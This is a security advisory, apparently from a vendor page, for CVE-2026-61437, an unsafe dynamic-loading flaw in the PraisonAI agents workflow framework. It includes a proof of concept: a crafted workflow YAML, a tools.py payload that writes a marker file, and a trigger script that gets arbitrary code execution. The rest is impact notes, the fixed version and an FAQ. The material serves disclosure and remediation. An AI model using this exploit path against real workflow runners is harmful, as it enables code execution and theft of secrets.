CVE-2026-61437

PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

• Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
• Users of WorkflowManager.create_workflow().
• Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

CVE-2026-61437 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.78); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-61437? CVE-2026-61437 is a high-severity security vulnerability in praisonaiagents (pip), affecting versions <= 1.6.77. It is fixed in 1.6.78.
2. How severe is CVE-2026-61437? CVE-2026-61437 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonaiagents are affected by CVE-2026-61437? praisonaiagents (pip) versions <= 1.6.77 is affected.
4. Is there a fix for CVE-2026-61437? Yes. CVE-2026-61437 is fixed in 1.6.78. Upgrade to this version or later.
5. Is CVE-2026-61437 exploitable, and should I be worried? Whether CVE-2026-61437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61437? Upgrade praisonaiagents to 1.6.78 or later.

Other vulnerabilities in praisonaiagents